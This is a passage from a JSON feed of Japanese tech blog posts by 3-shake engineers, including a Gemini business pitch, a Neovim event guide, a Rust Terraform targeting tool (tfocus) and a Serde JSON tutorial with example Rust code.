T…","isoDate":"2024-12-01T12:20:46.000Z","dateMiliSeconds":1733055646000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"週間アトデ 2024-12-01","link":"https://blog.atusy.net/2024/12/01/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-12-01T00:00:00.000Z","dateMiliSeconds":1733011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Geminiのビジネス利用でのメリットを語る","link":"https://shu-kob.hateblo.jp/entry/2024/11/30/233039","contentSnippet":"この記事はGCP(Google Cloud Platform) Advent Calendar 2024 1日目の記事です。2024年はIT業界にとって、最も話題に上がったトピックは生成AIだったのではないでしょうか?2023年までは生成AIと家は、ChatGPTでしたが、2024年はGoogleがBardをリブランディングして、Gemini(ジェミニ)とし、しのぎを削っています。私はGoogle Cloudのパートナー企業である株式会社スリーシェイク Sreake事業部にて、Geminiを用いた生成AIアプリケーション開発に携わっており、Geminiのビジネス利用でのメリットを語りたいと思います。Gemini-1.5-Proは最大200万トークンの読み込みが可能Geminiの強みの中で、最も他の生成AIモデルと差別化できているのが、トークン数の長さです。これにより、動画解析などへの利用もしやすくなりました。Geminiはマルチモーダルなので、音声、画像、動画なども処理可能です。量の目安としては以下になります。書籍15〜20冊程度の分量動画約2時間音声約22時間BigQueryで容易にデータ分析基盤を構築可能他のクラウドには同様のサービスがなく、同じ機能を実現するためには複数のサービスを組み合わせる必要があります。AzureやAWS、オンプレのデータはそのままで読み込みだけ行う機能もあります。今お使いのシステム構成はほぼ変えず、追加構築可能となります。Geminiは他のモデルと比較してトークンあたりの利用料が安いGoogle Cloud上で稼働させるのに最適化しているためです。他社のクラウドで使える生成AIモデルは別会社のものなので、クラウドも生成AIもGoogleのGeminiによって、この点も強みです!もしもGeminiの出力結果が著作権侵害で係争が発生してもGoogle Cloudがサポート他クラウドにはないサービスです。こちらも、クラウドも生成AIも会社が揃っている強みと言えるでしょう。真実性1位!Gemini 1.5 ProがNIKKEI Digital Governanceが調査した真実性のスコアで1位となりました!以下の記事は最初日経で見れていたと思うのですが、今はNIKKEI Digital Governanceに登録しないと見れないようです。博識のGoogle、主観強いMeta 生成AIの「真実性」を検証上記画像は下記記事から引用させていただきました。note.com2024年もあと少し。2025年もGeminiとともに生成AIを盛り上げていきたいと思います!GCP(Google Cloud Platform) Advent Calendar 2024 次の記事はknak72さんによる企業のセキュリティ強化に! Chrome Enterprise Premium のURLフィルタリングとマルウェアスキャン機能です。","isoDate":"2024-11-30T14:30:39.000Z","dateMiliSeconds":1732977039000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"3-shake Advent Calendar 2024 やっていきます #3SHAKE","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/30/142710","contentSnippet":"こんにちは、nwiizoです。晩秋の肌寒さが身にしみるこの11月も今日で終わりですね。ついこの前、昨年のAdvent Calendarで記事埋めを依頼され、慌ただしく準備した記憶が鮮明です。まったく、時の流れとは不思議なものです。今年もスリーシェイクのAdvent Calendarを開催することができます。この企画が実現したのは、ひとえに社内の方々の温かいご協力の賜物であり、その事実に深い感謝の念を抱いております。qiita.comスリーシェイクは「インフラをシンプルにしてイノベーションを起こす」というビジョンのもと、クラウド、セキュリティ、データ連携、HR領域で4つのサービスを展開しているテクノロジーカンパニーです。3-shake.com先日、シリーズB追加ラウンドとしてNTTデータ、SCSKから10億円の資金調達を実施し、資本業務提携を締結するニュースが出るなど、着実に成長を続けています。prtimes.jp今年のAdvent Calendarでも、エンジニアの技術的な記事だけでなく、スリーシェイクで働く様々な職種のメンバーによる記事をお届けする予定です。エンジニア以外にも営業、カスタマーサクセス、広報、経営企画など、多様なバックグラウンドを持つメンバーたちが、それぞれの視点からスリーシェイクでの経験や日々の発見を共有していきます。なぜ技術的な記事に限定しないのか。それは、私たちが目指すイノベーションには、技術だけでなく、様々な専門性や視点が必要だと考えているからです。このAdvent Calendarを通じて、スリーシェイクがどのような会社で、どんな人たちが働いているのか、より深く知っていただければ幸いです。記事の更新情報は、スリーシェイクの公式Xアカウント(@3shake_Inc)でお知らせしていきますので、ぜひフォローをお願いします!また、Advent Calendarも合わせてチェックしていただければと思います。成長を続けるスリーシェイクの「今」を知るきっかけとして、どうぞお楽しみください!jobs-3-shake.com","isoDate":"2024-11-30T05:27:10.000Z","dateMiliSeconds":1732944430000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、Google Cloud Japan の「 Google Cloud Partner Top Engineer 2025 」にて3名のエンジニアが受賞","link":"https://sreake.com/blog/%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%80%81google-cloud-japan-%e3%81%ae%e3%80%8c-google-cloud-partner-top-engineer-2025-%e3%80%8d%e3%81%ab%e3%81%a63%e5%90%8d%e3%81%ae/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)のエンジニア3名が、Google Cloud Japan が高い技術力を持ったエンジニアを表彰するプログラムである「 Google Cloud Partner Top Engineer 2025 」に選出されたことをお知らせします。The post スリーシェイク、Google Cloud Japan の「 Google Cloud Partner Top Engineer 2025 」にて3名のエンジニアが受賞 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-28T06:03:47.000Z","dateMiliSeconds":1732773827000,"authorName":"Sreake","authorId":"Sreake"},{"title":"3-shake における組織的な Google Cloud Partner Top Engineer 推進について","link":"https://sreake.com/blog/google-cloud-partner-top-engineer-2025/","contentSnippet":"はじめに 3-shakeで、Engineering Team Lead / SRE をやっている横尾(@866mfs)です 今回、3-shake では、佐藤 慧太(@SatohJohn), 横尾 杏之介(@866mfs) […]The post 3-shake における組織的な Google Cloud Partner Top Engineer 推進について first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-28T06:00:00.000Z","dateMiliSeconds":1732773600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"コミュニティ紹介: Kubernetes Meetup Novice","link":"https://speakerdeck.com/bells17/komiyuniteishao-jie-kubernetes-meetup-novice","contentSnippet":"Cloud Native Days Winter 2024のCommunity & Beginner LTでお話した資料です。\\r\\rhttps://pfem.notion.site/CNDW2024-Community-Beginner-LT-13821b0141e0800cb403c880cb4d2738","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"bells17","authorId":"bells17"},{"title":"メインテーマはKubernetes","link":"https://speakerdeck.com/nwiizo/meintemahakubernetes","contentSnippet":"2024年16:20-17:00(Track A)にて「メインテーマはKubernetes」というタイトルで登壇します。\\r\\rイベント名: Cloud Native Days Winter 2024\\r\\r公式URL:https://event.cloudnativedays.jp/cndw2024/\\r\\rセッションURL:https://event.cloudnativedays.jp/cndw2024/talks/2373","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"KubeCon + Cloud NativeCon North America 参加レポート","link":"https://sreake.com/blog/kubecon-cloud-nativecon-north-america-2024-report/","contentSnippet":"はじめに こんにちは!3-shak inc, で SRE をやっている横尾(@866mfs)です。 2024/11/12 ~ 2024/11/15 に開催された、\xa0KubeCon + CloudNativeCo […]The post KubeCon + Cloud NativeCon North America 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-27T00:28:01.000Z","dateMiliSeconds":1732667281000,"authorName":"Sreake","authorId":"Sreake"},{"title":"mini.aiで日本語の括弧の中身をrepeatableに編集する","link":"https://blog.atusy.net/2024/11/27/mini-ai-ja/","contentSnippet":"mini.aiとremapをうまく活用するとaj[で「foo」のような日本語の括弧に対して発動するテキストオブジェクトをdot-repeatableに実装できることに気付きました。","isoDate":"2024-11-27T00:00:00.000Z","dateMiliSeconds":1732665600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのイベントタイミングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/023303","contentSnippet":"はじめにNeovimでの設定やプラグイン開発において、適切なタイミングでコードを実行することは非常に重要です。このガイドでは、Neovimの主要なイベントについて、実用的な例を交えながら解説します。1. 起動時のイベント系統Neovimの起動プロセスで最も重要なイベントはVimEnterです。これは全ての初期化処理(vimrcの読み込み、プラグインの初期化など)が完了した後に発火します:vim.api.nvim_create_autocmd(\\"VimEnter\\", { callback = function() -- プラグインの初期化 -- カラースキームの設定 -- ステータスラインの設定など end,})2. バッファ操作のイベント系統バッファの作成から読み込みまでの主要なイベント:BufNew: バッファ作成直後BufAdd: バッファリストへの追加時BufReadPre: ファイル読み込み前BufReadPost: ファイル読み込み後BufEnter: バッファアクティブ化時vim.api.nvim_create_autocmd(\\"BufReadPost\\", { pattern = \\"*\\", callback = function() -- ファイル読み込み後の処理 -- 最後のカーソル位置の復元など end,})3. 編集モードのイベント系統テキスト編集に関連する主要なイベント:InsertEnter: 挿入モード開始時TextChangedI: 挿入モードでテキスト変更時InsertLeave: 挿入モード終了時TextChanged: ノーマルモードでテキスト変更時vim.api.nvim_create_autocmd(\\"InsertEnter\\", { pattern = \\"*\\", callback = function() -- 挿入モード開始時の設定 -- 相対行番号の無効化など end,})4. ファイル保存のイベント系統ファイル保存時の処理フロー:BufWritePre: 保存前BufWrite: 保存処理中BufWritePost: 保存後vim.api.nvim_create_autocmd(\\"BufWritePre\\", { pattern = \\"*\\", callback = function() -- 保存前の自動整形 -- 末尾の空白除去など end,})5. 終了時のイベント系統Neovim終了時の処理順序:QuitPre: 終了コマンド実行時VimLeavePre: 終了処理開始前VimLeave: 最終終了処理時vim.api.nvim_create_autocmd(\\"VimLeavePre\\", { callback = function() -- セッション保存 -- 未保存バッファの保存など end,})実践的なサンプルコード以下は、よくある設定パターンの例です:-- ファイルタイプ別の設定vim.api.nvim_create_autocmd(\\"FileType\\", { pattern = {\\"python\\", \\"lua\\", \\"rust\\"}, callback = function() local settings = { python = { indent = 4, expandtab = true }, lua = { indent = 2, expandtab = true }, rust = { indent = 4, expandtab = true } } local ft = vim.bo.filetype if settings[ft] then vim.bo.shiftwidth = settings[ft].indent vim.bo.expandtab = settings[ft].expandtab end end,})-- 自動保存の設定vim.api.nvim_create_autocmd({\\"InsertLeave\\", \\"TextChanged\\"}, { pattern = \\"*\\", callback = function() if vim.bo.modified and vim.bo.buftype == \\"\\" then vim.cmd(\\"silent! write\\") end end,})-- 最後のカーソル位置を復元vim.api.nvim_create_autocmd(\\"BufReadPost\\", { pattern = \\"*\\", callback = function() local last_pos = vim.fn.line(\\"\'\\\\\\"\\") if last_pos > 0 and last_pos <= vim.fn.line(\\"$\\") then vim.cmd(\'normal! g`\\"\') end end,})注意点イベントは適切な順序で処理される必要があります重い処理は非同期で行うことを推奨しますパターンマッチングを活用して、必要なファイルタイプのみで実行するようにしますvim.schedule()を使用して、UIブロッキングを避けます参考文献Neovim オートコマンドドキュメントAutocmd | 5. eventsNeovim Lua API リファレンスnvim_create_autocmd())","isoDate":"2024-11-26T17:33:03.000Z","dateMiliSeconds":1732642383000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/27/004309","contentSnippet":"1. はじめにこんにちは、nwiizoです。本記事では、Terraformで特定のリソースだけをplan/applyするためのインタラクティブCLIツール「tfocus」の設計と実装について、Rustの学習という観点も交えながら詳しく解説していきます。github.comまた、良さそうであればGithub Starsをいただきたいです。2. 背景と動機2.1 開発の契機大規模なTerraformコードベースでの作業において、様々な課題に直面することがあります。本番環境で特定リソースにトラブルが発生した際の調査や、開発中の変更を検証する場合、また大規模な変更を段階的に適用する必要がある場合などが典型的な例です。従来のTerraform CLIでも-targetオプションでリソースを指定できますが、正確なリソースパスを記述する必要があり、緊急時の運用には適していません。特に本番環境でのインシデント対応時には、迅速かつ正確なリソース指定が求められます。developer.hashicorp.com2.2 解決したい問題ツールの開発にあたり、複数の課題解決を目指しています。まずリソース選択を直感的に行えるようにすることで、運用者の負担を軽減します。同時に操作ミスを未然に防ぐ仕組みを導入し、安全性を確保します。また、緊急時にも迅速な対応ができるインターフェースを実現し、効率的なデバッグ作業を可能にすることで、運用効率の向上を図ります。3. 技術スタックの選定3.1 Rustを選んだ理由Rustを採用した理由は複数あります。まず、ゼロコスト抽象化による高いパフォーマンスを実現できることが挙げられます。また、強力な型システムと所有権モデルにより、メモリ安全性を確保できます。さらに、様々なOS向けにネイティブバイナリを生成できるクロスプラットフォーム対応も重要な選定理由となりました。豊富なクレートが利用可能な充実したエコシステムも、開発効率を高める要因となっています。最後に、純粋な学習目的として、小規模なツール開発を通じてRustの理解を深めることも目指しています。何かを引用するために書籍を貼ったが何を引用したいか忘れてしまった(がぎりぎりでこのブログを書いている為に調べることができない)。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon3.2 主要な依存クレート[dependencies]walkdir = \\"2.3\\" # ファイルシステム走査regex = \\"1.5\\" # パターンマッチングclap = \\"4.4\\" # CLIパーサーthiserror = \\"1.0\\" # エラー型colored = \\"2.0\\" # カラー出力crossterm = \\"0.27\\" # TUIfuzzy-matcher = \\"0.3\\" # あいまい検索doc.rust-lang.org各クレートの選定理由:walkdir: 効率的な再帰的ファイル走査を提供regex: 高速で柔軟なパターンマッチングが可能clap: 型安全なCLI引数パーサーthiserror: エラー型の簡潔な定義crossterm: プラットフォーム独立なTUI実装fuzzy-matcher: 使いやすいあいまい検索機能4. 実装の詳細4.1 アーキテクチャ設計プロジェクトは機能ごとに明確に分離された以下のモジュール構成を採用しています:src/├── cli.rs # CLIインターフェース├── display.rs # 表示処理├── error.rs # エラー型├── executor.rs # Terraform実行├── input.rs # 入力処理├── main.rs # エントリーポイント├── project.rs # プロジェクト解析├── selector.rs # リソース選択UI└── types.rs # 共通型定義各モジュールの責務:cli.rs: コマンドライン引数の定義と解析#[derive(Parser)]#[command(author, version, about)]pub struct Cli { /// Terraformディレクトリのパス #[arg(short, long, default_value = \\".\\")] pub path: PathBuf, /// 実行する操作 #[arg(short, long)] pub operation: Option, /// 詳細出力の有効化 #[arg(short, long)] pub verbose: bool,}project.rs: Terraformファイルの解析impl TerraformProject { pub fn parse_directory(path: &Path) -> Result { let mut project = TerraformProject::new(); for file_path in Self::find_terraform_files(path)? { project.parse_file(&file_path)?; } Ok(project) } fn parse_file(&mut self, path: &Path) -> Result<()> { let content = fs::read_to_string(path)?; self.parse_resources(&content, path)?; self.parse_modules(&content, path)?; Ok(()) }}4.2 エラーハンドリング型安全なエラーハンドリングを実現するため、カスタムエラー型を定義:#[derive(Error, Debug)]pub enum TfocusError { #[error(\\"IO error: {0}\\")] Io(#[from] std::io::Error), #[error(\\"Failed to parse terraform file: {0}\\")] ParseError(String), #[error(\\"Invalid target selection\\")] InvalidTargetSelection, #[error(\\"Terraform command failed: {0}\\")] TerraformError(String), #[error(\\"No terraform files found\\")] NoTerraformFiles,}4.3 リソース選択UIの実装fuzzy検索を活用した効率的なリソース選択:impl Selector { fn filter_items(&mut self) { let query = self.query.to_lowercase(); let mut matches: Vec<(usize, i64)> = self .items .iter() .enumerate() .filter_map(|(index, item)| { self.matcher .fuzzy_match(&item.search_text.to_lowercase(), &query) .map(|score| (index, score)) }) .collect(); // スコアでソート matches.sort_by_key(|&(_, score)| -score); self.filtered_items = matches.into_iter() .map(|(index, _)| index) .collect(); } fn render_screen(&mut self) -> Result<()> { let mut stdout = stdout(); execute!( stdout, terminal::Clear(ClearType::All), cursor::MoveTo(0, 0) )?; self.render_search_box()?; self.render_items()?; self.render_status_line()?; stdout.flush()?; Ok(()) }}4.4 パフォーマンス最適化実行速度とメモリ使用量の最適化:[profile.release]opt-level = 3 # 最高レベルの最適化lto = true # リンク時最適化codegen-units = 1 # 単一コード生成ユニットstrip = true # バイナリサイズ削減5. Rustから学ぶシステム設計tfocusの実装を通じて学べるRustの重要概念プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazon5.1 所有権とライフタイムリソースの効率的な管理:impl Resource { pub fn full_name(&self) -> String { if self.is_module { format!(\\"module.{}\\", self.name) } else { format!(\\"{}.{}\\", self.resource_type, self.name) } }}5.2 エラー伝播?演算子を使用した簡潔なエラーハンドリング:pub fn execute_terraform_command( operation: &Operation, target_options: &[String],) -> Result<()> { let mut command = Command::new(\\"terraform\\"); command.arg(operation.to_string()); for target in target_options { command.arg(target); } let status = command.spawn()?.wait()?; if status.success() { Ok(()) } else { Err(TfocusError::TerraformError( \\"Command execution failed\\".to_string() )) }}5.3 トレイトの活用共通インターフェースの定義:pub trait Display { fn render(&self) -> Result<()>; fn update(&mut self) -> Result<()>;}6. まとめ6.1 現在の成果このプロジェクトは現在、直感的なリソース選択UIを実現し、クロスプラットフォームでの利用を可能にしています。また、効率的なメモリ使用を実現するとともに、型安全なエラーハンドリングを導入することで、安定性の向上にも成功しています。6.2 今後の展開使われるようになったらやっていきたいこと。機能拡張の面では、依存関係の可視化機能を導入し、リソース状態をより詳細に表示できるようにしたいと考えています。さらに、バッチ処理のサポートを追加することで、大規模な処理にも対応できるようにしていきます。品質向上については、テストカバレッジを拡大し、システム全体のパフォーマンスを最適化していく予定です。また、エラーメッセージをより分かりやすく改善することで、ユーザー体験の向上を図ります。ドキュメント整備においては、API文書を充実させ、初心者向けのチュートリアルを作成していきます。さらに、実際の使用シーンを想定したユースケース集を整備することで、ユーザーの理解促進を支援していきたいと考えています。おわりにtfocusの開発を通じて、RustとTerraformの実践的な活用方法を示しました。このツールが皆様のインフラ運用の一助となれば幸いです。コードはGitHubで公開しています:nwiizo/tfocusフィードバックやコントリビューションをお待ちしています。","isoDate":"2024-11-26T15:43:09.000Z","dateMiliSeconds":1732635789000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"RustでJSONを扱いたいのでSerde入門します","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/26/141035","contentSnippet":"はじめにRustでデータのシリアライズ/デシリアライズを扱う際、最も広く使われているのがserdeクレートです。特にWeb APIやファイル入出力でよく使用されるJSONとの相互変換において、非常に重宝するツールです。今回は、serdeの基本的な使い方と、開発効率を上げるためのツールについて解説します。SerdeとはSerdeは\\"Serialize\\"と\\"Deserialize\\"を組み合わせた造語で、データ構造の変換を担当するRustのフレームワークです。多様なデータフォーマットに対応(JSON、YAML(アーカイブされている)、TOML等)高性能で型安全な実装カスタマイズ可能な属性システムコード生成による簡単な実装docs.rsプロジェクトのセットアップまず、Cargo.tomlに必要な依存関係を追加します。[dependencies]serde = { version = \\"1.0\\", features = [\\"derive\\"] }serde_json = \\"1.0\\"基本的な使い方1. 構造体の定義use serde::{Serialize, Deserialize};#[derive(Serialize, Deserialize, Debug)]struct User { name: String, age: u32, email: String, is_active: bool,}2. JSONからRustへの変換(デシリアライズ)fn main() { let json_str = r#\\" { \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true } \\"#; let user: User = serde_json::from_str(json_str).unwrap(); println!(\\"Deserialized user: {:?}\\", user);}3. RustからJSONへの変換(シリアライズ)fn main() { let user = User { name: \\"Jane Doe\\".to_string(), age: 25, email: \\"jane@example.com\\".to_string(), is_active: true, }; let json = serde_json::to_string_pretty(&user).unwrap(); println!(\\"Serialized JSON:\\\\n{}\\", json);}JSON to Rust ツールの活用開発効率を大幅に向上させるツールとして、「JSON to Rust」があります。このツールは、JSONデータからRustの構造体定義を自動生成してくれます。JSON to Rustの使い方https://jsonformatter.org/json-to-rust にアクセス左側のペインにJSONデータを貼り付け自動的に右側にRustの構造体定義が生成される例えば、以下のようなJSONデータがあった場合{ \\"user_profile\\": { \\"id\\": 123, \\"username\\": \\"rust_lover\\", \\"settings\\": { \\"theme\\": \\"dark\\", \\"notifications\\": true }, \\"tags\\": [\\"rust\\", \\"programming\\"] }}以下のようなRust構造体が生成されます。// Example code that deserializes and serializes the model.// extern crate serde;// #[macro_use]// extern crate serde_derive;// extern crate serde_json;//// use generated_module::[object Object];//// fn main() {// let json = r#\\"{\\"answer\\": 42}\\"#;// let model: [object Object] = serde_json::from_str(&json).unwrap();// }extern crate serde_derive;#[derive(Serialize, Deserialize)]pub struct Welcome3 { #[serde(rename = \\"user_profile\\")] user_profile: UserProfile,}#[derive(Serialize, Deserialize)]pub struct UserProfile { #[serde(rename = \\"id\\")] id: i64, #[serde(rename = \\"username\\")] username: String, #[serde(rename = \\"settings\\")] settings: Settings, #[serde(rename = \\"tags\\")] tags: Vec,}#[derive(Serialize, Deserialize)]pub struct Settings { #[serde(rename = \\"theme\\")] theme: String, #[serde(rename = \\"notifications\\")] notifications: bool,}高度な使い方カスタム属性の活用Serdeは様々な属性を提供して、シリアライズ/デシリアライズの挙動をカスタマイズできます。#[derive(Serialize, Deserialize, Debug)]struct Configuration { #[serde(rename = \\"apiKey\\")] api_key: String, #[serde(default)] timeout_seconds: u32, #[serde(skip_serializing_if = \\"Option::is_none\\")] optional_field: Option,}エラーハンドリング実際のアプリケーションでは、適切なエラーハンドリングが重要です。use serde::{Serialize, Deserialize};use std::error::Error;use std::fs;use std::io;use std::collections::HashMap;// ユーザーの基本構造体#[derive(Serialize, Deserialize, Debug)]struct User { id: u32, name: String, age: u32, email: String, is_active: bool, // オプショナルなフィールド #[serde(skip_serializing_if = \\"Option::is_none\\")] metadata: Option>,}// カスタムエラー型の定義#[derive(Debug)]enum UserError { ParseError(serde_json::Error), // JSONパースエラー ValidationError(String), // バリデーションエラー DatabaseError(String), // DB操作エラー IoError(io::Error), // ファイル操作エラー}// serde_json::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: serde_json::Error) -> UserError { UserError::ParseError(err) }}// io::ErrorからUserErrorへの変換を実装impl From for UserError { fn from(err: io::Error) -> UserError { UserError::IoError(err) }}// std::error::Errorトレイトの実装impl std::fmt::Display for UserError { fn fmt(&self, f: &mut std::fmt::Formatter<\'_>) -> std::fmt::Result { match self { UserError::ParseError(e) => write!(f, \\"Parse error: {}\\", e), UserError::ValidationError(msg) => write!(f, \\"Validation error: {}\\", msg), UserError::DatabaseError(msg) => write!(f, \\"Database error: {}\\", msg), UserError::IoError(e) => write!(f, \\"IO error: {}\\", e), } }}impl Error for UserError {}// Userの実装impl User { // バリデーションメソッド fn validate(&self) -> Result<(), UserError> { if self.name.is_empty() { return Err(UserError::ValidationError(\\"Name cannot be empty\\".to_string())); } if self.age > 150 { return Err(UserError::ValidationError(\\"Invalid age\\".to_string())); } if !self.email.contains(\'@\') { return Err(UserError::ValidationError(\\"Invalid email format\\".to_string())); } Ok(()) }}// 基本的なJSONパース関数fn parse_user(json_str: &str) -> Result { // map_errを使用してエラーをログ出力 serde_json::from_str(json_str).map_err(|e| { println!(\\"Error parsing JSON: {}\\", e); e // 元のエラーを返す })}// より詳細なエラーハンドリングを行う関数fn process_user_data(json_str: &str) -> Result { // JSONのパース let user: User = serde_json::from_str(json_str)?; // ?演算子でエラーを伝播 // バリデーション user.validate()?; // ?演算子でエラーを伝播 Ok(user)}// 複数ユーザーからの検索(Option型との組み合わせ)fn find_user_by_id(json_str: &str, target_id: u32) -> Result, UserError> { // JSONから複数ユーザーをパース let users: Vec = serde_json::from_str(json_str)?; // 指定されたIDのユーザーを探す Ok(users.into_iter().find(|user| user.id == target_id))}// ファイル操作を含むエラーハンドリングfn load_user_from_file(path: &str) -> Result { // ファイルを読み込み let content = fs::read_to_string(path).map_err(|e| { eprintln!(\\"Failed to read file {}: {}\\", path, e); UserError::IoError(e) })?; // JSONをパースしてUserを返す process_user_data(&content)}// ファイルへの保存fn save_user_to_file(user: &User, path: &str) -> Result<(), UserError> { // UserをJSONに変換 let json = serde_json::to_string_pretty(user).map_err(|e| { eprintln!(\\"Failed to serialize user: {}\\", e); UserError::ParseError(e) })?; // ファイルに書き込み fs::write(path, json).map_err(|e| { eprintln!(\\"Failed to write to file {}: {}\\", path, e); UserError::IoError(e) })?; Ok(())}fn main() { // 1. 有効なJSONの例 let valid_json = r#\\" { \\"id\\": 1, \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true, \\"metadata\\": { \\"last_login\\": \\"2024-01-01\\", \\"location\\": \\"Tokyo\\" } } \\"#; // 2. 無効なJSONの例(バリデーションエラー) let invalid_json = r#\\" { \\"id\\": 2, \\"name\\": \\"\\", \\"age\\": 200, \\"email\\": \\"invalid-email\\", \\"is_active\\": true } \\"#; // 3. 複数ユーザーのJSONの例 let users_json = r#\\"[ { \\"id\\": 1, \\"name\\": \\"John Doe\\", \\"age\\": 30, \\"email\\": \\"john@example.com\\", \\"is_active\\": true }, { \\"id\\": 2, \\"name\\": \\"Jane Doe\\", \\"age\\": 25, \\"email\\": \\"jane@example.com\\", \\"is_active\\": true } ]\\"#; // 4. 各種エラーハンドリングの実演 println!(\\"1. 基本的なパース:\\"); match parse_user(valid_json) { Ok(user) => println!(\\"成功: {:?}\\", user), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n2. バリデーション付きパース:\\"); match process_user_data(invalid_json) { Ok(user) => println!(\\"成功: {:?}\\", user), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n3. ユーザー検索:\\"); match find_user_by_id(users_json, 1) { Ok(Some(user)) => println!(\\"ユーザーが見つかりました: {:?}\\", user), Ok(None) => println!(\\"ユーザーが見つかりません\\"), Err(e) => println!(\\"エラー: {}\\", e), } println!(\\"\\\\n4. ファイル操作:\\"); // 有効なユーザーをファイルに保存 if let Ok(user) = parse_user(valid_json) { match save_user_to_file(&user, \\"user.json\\") { Ok(()) => println!(\\"ユーザーを保存しました\\"), Err(e) => println!(\\"保存エラー: {}\\", e), } // 保存したファイルから読み込み match load_user_from_file(\\"user.json\\") { Ok(loaded_user) => println!(\\"ロードしたユーザー: {:?}\\", loaded_user), Err(e) => println!(\\"ロードエラー: {}\\", e), } }}ベストプラクティス型の使い分け必須フィールドは通常の型オプショナルフィールドはOption配列はVecを使用エラーハンドリングunwrap()は開発時のみ使用本番コードではResultを適切に処理カスタム属性の活用#[serde(rename)]でフィールド名の変換#[serde(default)]でデフォルト値の設定#[serde(skip_serializing_if)]で条件付きスキップまず、Cargo.tomlにchronoの依存関係を追加します。use chrono;use serde::{Deserialize, Serialize};use std::collections::HashMap;use std::error::Error as StdError;use std::fmt;use std::fs; // chronoクレートのインポート// ベストプラクティスに基づいた構造体の定義#[derive(Serialize, Deserialize, Debug)]struct UserProfile { // 1. 必須フィールド(通常の型) id: u64, username: String, email: String, // 2. オプショナルフィールド(Optionの使用) #[serde(skip_serializing_if = \\"Option::is_none\\")] phone_number: Option, #[serde(skip_serializing_if = \\"Option::is_none\\")] biography: Option, // 3. 配列(Vecの使用) #[serde(skip_serializing_if = \\"Vec::is_empty\\")] interests: Vec, // 4. カスタム属性の活用 // JSONでは\\"lastLoginTime\\"として表示 #[serde(rename = \\"lastLoginTime\\")] last_login_time: String, // デフォルト値の設定 #[serde(default)] is_active: bool, // 動的なキーバリューペア #[serde(default, skip_serializing_if = \\"HashMap::is_empty\\")] metadata: HashMap,}// カスタムエラー型の定義#[derive(Debug)]enum ProfileError { JsonError(serde_json::Error), ValidationError(String), IoError(std::io::Error),}// ProfileErrorにDisplayトレイトを実装impl fmt::Display for ProfileError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProfileError::JsonError(e) => write!(f, \\"JSON error: {}\\", e), ProfileError::ValidationError(e) => write!(f, \\"Validation error: {}\\", e), ProfileError::IoError(e) => write!(f, \\"IO error: {}\\", e), } }}// ProfileErrorにErrorトレイトを実装impl StdError for ProfileError { fn source(&self) -> Option<&(dyn StdError + \'static)> { match self { ProfileError::JsonError(e) => Some(e), ProfileError::ValidationError(_) => None, ProfileError::IoError(e) => Some(e), } }}// エラー変換の実装impl From for ProfileError { fn from(err: serde_json::Error) -> Self { ProfileError::JsonError(err) }}impl From for ProfileError { fn from(err: std::io::Error) -> Self { ProfileError::IoError(err) }}// UserProfileの実装impl UserProfile { // コンストラクタ fn new(id: u64, username: String, email: String) -> Self { UserProfile { id, username, email, phone_number: None, biography: None, interests: Vec::new(), last_login_time: chrono::Utc::now().to_rfc3339(), is_active: true, metadata: HashMap::new(), } } // バリデーション fn validate(&self) -> Result<(), ProfileError> { if self.username.is_empty() { return Err(ProfileError::ValidationError( \\"Username cannot be empty\\".to_string(), )); } if !self.email.contains(\'@\') { return Err(ProfileError::ValidationError( \\"Invalid email format\\".to_string(), )); } Ok(()) } // メタデータの追加 fn add_metadata(&mut self, key: &str, value: &str) { self.metadata.insert(key.to_string(), value.to_string()); } // 興味・関心の追加 fn add_interest(&mut self, interest: &str) { self.interests.push(interest.to_string()); }}// プロファイル処理関数fn process_profile(json_str: &str) -> Result { // JSONからプロファイルを作成 let profile: UserProfile = serde_json::from_str(json_str)?; // バリデーション profile.validate()?; Ok(profile)}// ファイル操作を含むプロファイル保存fn save_profile(profile: &UserProfile, path: &str) -> Result<(), ProfileError> { // バリデーション profile.validate()?; // JSON文字列に変換(整形付き) let json = serde_json::to_string_pretty(profile)?; // ファイルに保存 fs::write(path, json)?; Ok(())}fn main() -> Result<(), Box> { // 1. プロファイルの作成 let mut profile = UserProfile::new(1, \\"john_doe\\".to_string(), \\"john@example.com\\".to_string()); // オプショナルフィールドの設定 profile.phone_number = Some(\\"123-456-7890\\".to_string()); profile.biography = Some(\\"Tech enthusiast and developer\\".to_string()); // 興味・関心の追加 profile.add_interest(\\"Programming\\"); profile.add_interest(\\"Open Source\\"); // メタデータの追加 profile.add_metadata(\\"location\\", \\"Tokyo\\"); 